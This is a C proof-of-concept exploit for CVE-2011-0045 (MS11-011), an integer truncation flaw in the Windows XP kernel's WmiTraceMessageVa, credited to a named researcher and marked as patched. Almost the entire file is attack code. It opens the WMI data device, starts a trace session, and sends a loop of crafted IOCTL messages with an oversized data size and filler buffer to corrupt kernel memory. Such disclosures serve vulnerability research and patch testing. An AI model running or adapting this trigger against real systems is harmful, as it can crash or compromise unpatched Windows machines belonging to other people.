/*
# Exploit Title: MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC
# Date: 2011-03-01
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link:
# Version: prior to MS11-011
# Tested on: Win XP SP3
# CVE : CVE-2011-0045
# Status : Patched
# Binary Analysis: http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html
*/
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <evntrace.h>
#define WmiTraceMessageCode 40
#define WmiCreateUMLogger 84
#define WmiStartLoggerCode 32
#define IOCTL_WMI_TRACE_MESSAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)
/*
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
#define IOCTL_WMI_TRACE_MESSAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)
#define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN,
WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS)
#define IOCTL_WMI_START_LOGGER \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode,
METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef struct _STRING64 {
USHORT Length;
USHORT MaximumLength;
ULONGLONG Buffer;
} STRING64;
typedef STRING64 *PSTRING64;
typedef STRING64 UNICODE_STRING64;
typedef UNICODE_STRING64 *PUNICODE_STRING64;
//
// WNODE definition
typedef struct _WNODE_HEADER
{
ULONG BufferSize; // Size of entire buffer inclusive of this
ULONG
ULONG ProviderId; // Provider Id of driver returning this buffer
union
{
ULONG64 HistoricalContext; // Logger use
struct
{
ULONG Version; // Reserved
ULONG Linkage; // Linkage field reserved for WMI
};
};
union
{
ULONG CountLost; // Reserved
HANDLE KernelHandle; // Kernel handle for data block
LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns
// since 1/1/1601
};
GUID Guid; // Guid for data block returned with results
ULONG ClientContext;
ULONG Flags; // Flags, see below
} WNODE_HEADER, *PWNODE_HEADER;
//
// Logger configuration and running statistics. This structure is used
// by WMI.DLL to convert to UNICODE_STRING
//
// begin_wmikm
typedef struct _WMI_LOGGER_INFORMATION {
WNODE_HEADER Wnode; // Had to do this since wmium.h comes later
//
// data provider by caller
ULONG BufferSize; // buffer size for logging (in
kbytes)
ULONG MinimumBuffers; // minimum to preallocate
ULONG MaximumBuffers; // maximum buffers allowed
ULONG MaximumFileSize; // maximum logfile size (in MBytes)
ULONG LogFileMode; // sequential, circular
ULONG FlushTimer; // buffer flush timer, in seconds
ULONG EnableFlags; // trace enable flags
LONG AgeLimit; // aging decay time, in minutes
ULONG Wow; // TRUE if the logger started
under WOW64
union {
HANDLE LogFileHandle; // handle to logfile
ULONG64 LogFileHandle64;
};
// data returned to caller
// end_wmikm
union {
// begin_wmikm
ULONG NumberOfBuffers; // no of buffers in use
// end_wmikm
ULONG InstanceCount; // Number of Provider Instances
};
union {
// begin_wmikm
ULONG FreeBuffers; // no of buffers free
// end_wmikm
ULONG InstanceId; // Current Provider's Id for
UmLogger
};
union {
// begin_wmikm
ULONG EventsLost; // event records lost
// end_wmikm
ULONG NumberOfProcessors; // Passed on to UmLogger
};
// begin_wmikm
ULONG BuffersWritten; // no of buffers written to file
ULONG LogBuffersLost; // no of logfile write failures
ULONG RealTimeBuffersLost; // no of rt delivery failures
union {
HANDLE LoggerThreadId; // thread id of Logger
ULONG64 LoggerThreadId64; // thread is of Logger
};
union {
UNICODE_STRING LogFileName; // used only in WIN64
UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32
};
// mandatory data provided by caller
union {
UNICODE_STRING LoggerName; // Logger instance name in WIN64
UNICODE_STRING64 LoggerName64; // Logger Instance name in WIN32
};
// private
union {
PVOID Checksum;
ULONG64 Checksum64;
};
union {
PVOID LoggerExtension;
ULONG64 LoggerExtension64;
};
} WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION;
*/
typedef struct _WMI_TRACE_MESSAGE_PACKET { // must be ULONG!!
USHORT MessageNumber; // The message Number, index
of messages by GUID
// Or ComponentID
USHORT OptionFlags ; // Flags associated with the
message
} WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET;
typedef struct _MESSAGE_TRACE_HEADER {
union {
ULONG Marker;
struct {
USHORT Size; // Total Size of the
message including header
UCHAR Reserved; // Unused and reserved
UCHAR Version; // The message structure
type (TRACE_MESSAGE_FLAG)
};
};
union {
ULONG Header; // both sizes must be the same!
WMI_TRACE_MESSAGE_PACKET Packet;
};
} MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER;
typedef struct _MESSAGE_TRACE {
MESSAGE_TRACE_HEADER MessageHeader ;
UCHAR Data ;
} MESSAGE_TRACE, *PMESSAGE_TRACE ;
//
// Structure used to pass user log messages to the kernel
//
typedef struct _MESSAGE_TRACE_USER {
MESSAGE_TRACE_HEADER MessageHeader ;
ULONG MessageFlags ;
ULONG64 LoggerHandle ;
GUID MessageGuid ;
ULONG DataSize ;
UCHAR Data ;
} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ;
/*
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type
SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef union
{
HANDLE Handle;
ULONG64 Handle64;
ULONG32 Handle32;
} HANDLE3264, *PHANDLE3264;
typedef struct
{
IN POBJECT_ATTRIBUTES ObjectAttributes;
IN GUID ControlGuid;
OUT HANDLE3264 ReplyHandle;
OUT ULONG ReplyCount;
} WMICREATEUMLOGGER, *PWMICREATEUMLOGGER;
*/
//#define LOGFILE_PATH L"<FULLPATHTOLOGFILE.etl>"
#define LOGFILE_PATH L"test.etl"
//#define LOGSESSION_NAME L"My Event Trace Session"
#define LOGSESSION_NAME L"test"
// GUID that identifies your trace session.
// Remember to create your own session GUID.
// {94BE0BF2-885F-4972-8461-A7D83B53F1AD}
static const GUID SessionGuid =
{ 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53,
0xf1, 0xad } };
// GUID that identifies the provider that you want
// to enable to your session.
// {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3}
static const GUID ProviderGuid =
{ 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6,
0x3b, 0xb3 } };
int trigger(HANDLE hDevice);
int start_usermode_logger(HANDLE hDevice);
int start_logger(HANDLE hDevice);
HANDLE open_device();
int main(int argc, char **argv)
{
HANDLE hDevice;
if((hDevice = open_device()) == INVALID_HANDLE_VALUE){
printf("open_device failed!\n");
return 0;
}
if(!start_usermode_logger(hDevice)){
printf("start_usermode_logger failed!\n");
return 0;
}
/*
if(!start_logger(hDevice)){
printf("start_logger failed!\n");
return 0;
}
*/
trigger(hDevice);
return 0;
}
HANDLE open_device()
{
char deviceName[] = "\\\\.\\WMIDataDevice";
HANDLE hDevice;
if ( (hDevice = CreateFileA(deviceName,
GENERIC_READ|GENERIC_WRITE,
//0,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device succesfully opened!\n");
return hDevice;
}
else
{
printf("Error: Error opening device at NULL premission\n");
return INVALID_HANDLE_VALUE;
}
}
int start_usermode_logger(HANDLE hDevice)
{
ULONG status = ERROR_SUCCESS;
TRACEHANDLE SessionHandle = 0;
EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
ULONG BufferSize = 0;
BOOL TraceOn = TRUE;
// Allocate memory for the session properties. The memory must
// be large enough to include the log file name and session name,
// which get appended to the end of the session properties structure.
BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) +
sizeof(LOGSESSION_NAME);
pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize);
if (NULL == pSessionProperties)
{
wprintf(L"Unable to allocate %d bytes for properties
structure.\n", BufferSize);
return 0;
}
// Set the session properties. You only append the log file name
// to the properties structure; the StartTrace function appends
// the session name for you.
ZeroMemory(pSessionProperties, BufferSize);
pSessionProperties->Wnode.BufferSize = BufferSize;
pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
pSessionProperties->Wnode.Guid = SessionGuid;
pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR |
EVENT_TRACE_USE_PAGED_MEMORY;
pSessionProperties->MaximumFileSize = 5; // 5 MB
pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessionProperties->LogFileNameOffset =
sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
StringCbCopy((LPWSTR)((char*)pSessionProperties +
pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);
// Create the trace session.
status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME,
pSessionProperties);
if (ERROR_SUCCESS != status)
{
wprintf(L"StartTrace() failed with %lu\n", status);
return 0;
}
// Enable the providers that you want to log events to your session.
status = EnableTrace(
TraceOn, // TRUE enables the provider
0, // No enable flags
TRACE_LEVEL_INFORMATION, // Enable informational, warning, error
and critical events
(LPCGUID)&ProviderGuid, // Provider to enable
SessionHandle // Session handle from StartTrace
);
if (ERROR_SUCCESS != status)
{
wprintf(L"EnableTrace() failed with %lu\n", status);
TraceOn = FALSE;
return 0;
}
wprintf(L"Run the provider application. Then hit any key to stop the
session.\n");
return 1;
}
int trigger(HANDLE hDevice)
{
DWORD cb, inlen, outlen;
char *buff, *buff_out = NULL;
DWORD result = 0;
unsigned char str[] = "fuckdata";
MESSAGE_TRACE_USER Message;
Message.MessageHeader.Marker = 0xBEBEBEBE;
Message.MessageHeader.Header = 0xEFEFEFEF;
Message.MessageFlags = 0xC0C0DEDE;
//Message.LoggerHandle = 0xC0DEC0DEDEADDEAD;
//Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in
1 < n < 40
Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1
< n < 40
Message.MessageGuid.Data1 = 0xC0DEDEAD;
Message.MessageGuid.Data2 = 0xDEC0;
Message.MessageGuid.Data3 = 0xDEDE;
memcpy(Message.MessageGuid.Data4, str, 8);
//Message.DataSize = 0xDEADBEEF;
//Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0
Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0
Message.Data = '0';
//DWORD ioctl = 0x2280A3;
buff_out = (char*)malloc(0x2000);
if(!buff_out){
printf("malloc failed");
return 0;
}
memset(buff_out, 0x0, 0x2000);
cb = 0;
buff = (char*)malloc(0x20000);
if(!buff){
printf("malloc failed");
return 0;
}
memset(buff, 'A', 0x20000-1);
outlen = 0x0;
inlen = 0x15000;
memcpy(buff, &Message, 0x30);
//result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
for(int i =0; i< 0x40; i++){
Message.LoggerHandle++;
memset(buff, 'A', 0x20000-1);
memcpy(buff, &Message, 0x30);
result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
printf("ioctl = 0x%08X, id = %d, result = %d\n",
IOCTL_WMI_TRACE_MESSAGE, i, result);
}
printf("done!");
free(buff);
}